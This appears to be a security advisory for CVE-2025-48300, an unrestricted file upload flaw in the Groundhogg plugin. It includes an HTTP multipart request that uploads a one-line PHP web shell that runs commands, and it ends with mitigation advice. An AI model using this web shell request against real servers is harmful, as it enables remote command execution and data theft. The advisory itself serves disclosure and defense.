Overview
The cybersecurity world is abuzz with the recent discovery of a severe vulnerability, CVE-2025-48300, that affects the popular plugin Groundhogg, deployed by numerous businesses globally for their marketing automation needs. This vulnerability, characterized by unrestrained upload of files with dangerous types, is critical as it enables a malicious actor to upload a web shell to a web server, thereby putting the system at potential risk of compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-48300
Severity: Critical (CVSS score 9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, data leakage
Affected Products
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Product | Affected Versions
Groundhogg | n/a through 4.2.1
How the Exploit Works
The exploit leverages the unrestricted file upload vulnerability in Groundhogg. Here, an attacker can upload a file with a dangerous type, such as a web shell, to the web server. This file can then execute arbitrary commands on behalf of the attacker, giving them control over the system. This vulnerability is extremely dangerous as it can lead to complete system compromise, including unauthorized access to sensitive data.
Conceptual Example Code
Here’s a simplified, conceptual example of how the vulnerability might be exploited. This example shows a malicious HTTP POST request where an attacker uploads a web shell to the server:
POST /upload/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker is uploading a PHP web shell (shell.php) to the server. This web shell, once uploaded, can be accessed by the attacker to execute arbitrary commands on the server.
Mitigation and Prevention
The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, businesses can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability. Regularly updating and patching systems, ensuring a robust security posture, and educating users on the dangers of clicking on unknown links or opening suspicious attachments can also help prevent exploitation of such vulnerabilities.